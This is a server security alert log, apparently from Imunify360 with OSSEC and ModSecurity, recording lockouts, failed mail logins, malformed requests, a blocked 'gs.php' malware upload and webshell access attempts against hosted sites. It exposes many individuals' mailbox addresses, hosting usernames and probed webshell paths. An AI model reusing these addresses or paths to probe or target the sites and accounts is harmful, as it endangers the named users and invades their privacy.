IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/img/photos/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.58.26.247
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-57.31.58.26.247||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.208.80
country_id: 798544
description:
Jan 22 00:57:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.208.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 22 00:58:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.211.100.92
country_id: 3469034
description:
Jan 22 01:00:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.211.100.92 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.175.120.163
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=56871532676393 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.31.88
country_id: 798544
description:
Jan 22 01:03:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.31.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.31.88
country_id: 798544
description:
Jan 22 01:03:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.31.88 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.99.112.114
country_id: 290557
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/candy/512/582319 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 146.190.155.255
country_id: 6252001
description:
2026-01-22  1:05:48 499968 [Warning] Aborted connection 499968 to db: 'unconnected' user: 'unauthenticated' host: '146.190.155.255' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 146.190.155.255
country_id: 6252001
description:
2026-01-22  1:05:51 499977 [Warning] Aborted connection 499977 to db: 'unconnected' user: 'unauthenticated' host: '146.190.155.255' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 01:06:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.211.212.88
country_id: 1733045
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/products/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 22 01:08:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.4.22
country_id: 2017370
description:
2026-01-22 01:09:55 dovecot_login authenticator failed for H=([31.173.4.22]) [31.173.4.22]:57200: 535 Incorrect authentication data (set_id=jyteh@mckd.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 01:10:03 H=([45.144.212.242]) [45.144.212.242]:57044 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 146.190.155.255
country_id: 6252001
description:
2026-01-22  1:10:53 500081 [Warning] Aborted connection 500081 to db: 'unconnected' user: 'unauthenticated' host: '146.190.155.255' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 146.190.155.255
country_id: 6252001
description:
2026-01-22  1:10:55 500088 [Warning] Aborted connection 500088 to db: 'unconnected' user: 'unauthenticated' host: '146.190.155.255' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 146.190.155.255
country_id: 6252001
description:
2026-01-22  1:10:57 500091 [Warning] Aborted connection 500091 to db: 'unconnected' user: 'unauthenticated' host: '146.190.155.255' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.77.198
country_id: 3469034
description:
Jan 22 01:11:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.77.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.252.226.4
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=6 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.159.71.249
country_id: 1835841
description:
Jan 22 01:13:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.159.71.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-01-22 01:14:00 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:48302: 535 Incorrect authentication data (set_id=shinwen.ong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.244.247
country_id: 798544
description:
Jan 22 01:14:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.244.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.228
country_id: 2510769
description:
Jan 22 01:15:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 01:17:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 01:17:56 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:27931: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 161.142.118.111
country_id: 1733045
description:
161.142.118.111 - - [22/Jan/2026:01:18:55 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857688&pdata=https%253A%252F%252Fmckd.com.my%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1769015934 HTTP/2.0" 302 0 mckd.com.my "https://mckd.com.my:2096/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.2 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:161.142.118.111


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.25.59
country_id: 690791
description:
Jan 22 01:19:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.25.59 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.118.111
country_id: 1733045
description:
[2026-01-22 01:19:07 +0800] info [webmaild] 161.142.118.111 - s-osada@mckd.com.my "GET /cpsess1221116214/3rdparty/roundcube/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D1%2Cwebp%3D1%2Cpgpmime%3D0&_uid=38567&_mbox=INBOX&_framed=1&_action=preview HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 123.58.126.93
country_id: 1814991
description:
2026-01-22 01:20:00 H=([123.58.126.93]) [123.58.126.93]:44921 F=<mail@voicemail.centurylink.com> rejected RCPT <norasikin.vpb@vc-b.com.my>: SPF: 123.58.126.93 is not allowed to send mail from voicemail.centurylink.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.109.57.60
country_id: 1210997
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=603677 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.176.242.98
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=526641 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.240.3.32
country_id: 1210997
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/01_a_02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 90.156.162.117
country_id: 1512440
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/01_a_05.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.233.16.136
country_id: 1562822
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/01_a_01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.236.239.80
country_id: 3686110
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=124214 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.57.207.42
country_id: 3686110
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=3&sub=40 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 01:22:23 H=([45.144.212.242]) [45.144.212.242]:58927 F=<no_reply@admin.com> rejected RCPT <waynegoh@empirelog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.81.233.85
country_id: 3865483
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=784798 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.47.227
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=899701 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.178.187.17
country_id: 1210997
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=593205 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.58.122.166
country_id: 1269750
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=182180 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.226.170.76
country_id: 1269750
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=8&sub=9 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.181.208.72
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=457703 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.118.127
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=954943 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.198
country_id: 130758
description:
2026-01-22 01:23:43 dovecot_login authenticator failed for H=(localhost) [62.60.130.198]:60847: 535 Incorrect authentication data (set_id=aurelie)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 62.162.191.118
country_id: 718075
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=470762 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.190.126.61
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?page_id=24 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 01:25:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.164.133.201
country_id: 1269750
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=740138 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.118
country_id: 1269750
description:
2026-01-22 01:28:36 dovecot_plain authenticator failed for H=(sionle) [27.123.111.118]:35034: 535 Incorrect authentication data (set_id=sales@cabe.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.111.118
country_id: 1269750
description:
Jan 22 01:28:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.111.118 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.202.118.38
country_id: 6252001
description:
Jan 22 01:30:29 sv3 pure-ftpd[3575001]: (?@172.202.118.38) [INFO] New connection from 172.202.118.38


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 01:31:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.85.4
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=104350 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 22 01:32:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.6
country_id: 3175395
description:
Jan 22 01:31:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.6 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.5.237
country_id: 1562822
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/01_b_03.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.59.1.238
country_id: 3865483
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/01_b_02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.238.26.20
country_id: 99237
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/01_b_01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.168.34.192
country_id: 6252001
description:
2026-01-22  1:35:47 500798 [Warning] Aborted connection 500798 to db: 'unconnected' user: 'unauthenticated' host: '206.168.34.192' (This connection closed normally without authentication)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 147.53.115.32
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-35.147.53.115.32||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.59.10.224
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-36.31.59.10.224||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 144.124.245.34
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-37.144.124.245.34||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.235.193.161
country_id: 3686110
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=57031514876853 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 01:41:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.208
country_id: 3469034
description:
Jan 22 01:42:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.208 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 207.182.29.8
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-43.207.182.29.8||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.117
country_id: 3469034
description:
Jan 22 01:43:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.117 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.72.242
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-44.89.110.72.242||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.248.56
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=749224 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.146
country_id: 798544
description:
Jan 22 01:46:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 01:48:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 166.0.246.185
country_id: 1562822
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/9784566891.jpg&size=262*388 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.251.154.240
country_id: 3144096
description:
2026-01-22 01:49:43 dovecot_login authenticator failed for H=(ADMIN) [20.251.154.240]:35772: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.181.16.202
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/until/401/293263 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 01:54:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 02:04:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.235.74.5
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/wake/7/99/741371 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.117.207
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/speak/533/343279 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 20.169.104.253
country_id: 6252001
description:
Jan 22 02:09:06 sv3 pure-ftpd[3599469]: (?@20.169.104.253) [INFO] New connection from 20.169.104.253


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.115.84.80
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/tests/Mockery/MockingVoidMethodsTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 02:10:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 22 02:10:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 22 02:12:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-22 02:12:39 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (aggic) [87.103.126.54]:64826: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 02:13:56 H=([45.144.212.242]) [45.144.212.242]:50327 F=<lynnied@mhtc.net> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-22 02:14:51 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:17079: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.42
country_id: 3175395
description:
Jan 22 02:14:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 22 02:14:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 22 02:15:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-22 02:15:11 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:44959: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 137.27.32.70
country_id: 6252001
description:
Jan 22 02:16:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 137.27.32.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.27.32.70
country_id: 6252001
description:
2026-01-22 02:16:48 dovecot_plain authenticator failed for H=syn-137-027-032-070.biz.spectrum.com (quinin) [137.27.32.70]:45542: 535 Incorrect authentication data (set_id=info@pftfood.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 02:16:33 H=([45.144.212.242]) [45.144.212.242]:54871 F=<no_reply@admin.com> rejected RCPT <info@aire-fresh.com>: Sender verify failed


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jan 22 02:17:55 sv3.nocser.net cpanel_fileman_hook[3605401]: 0 BAILOUT malware detected when upload 'gs.php' in /home/oxboldc/public_html for user oxboldc


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 02:17:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
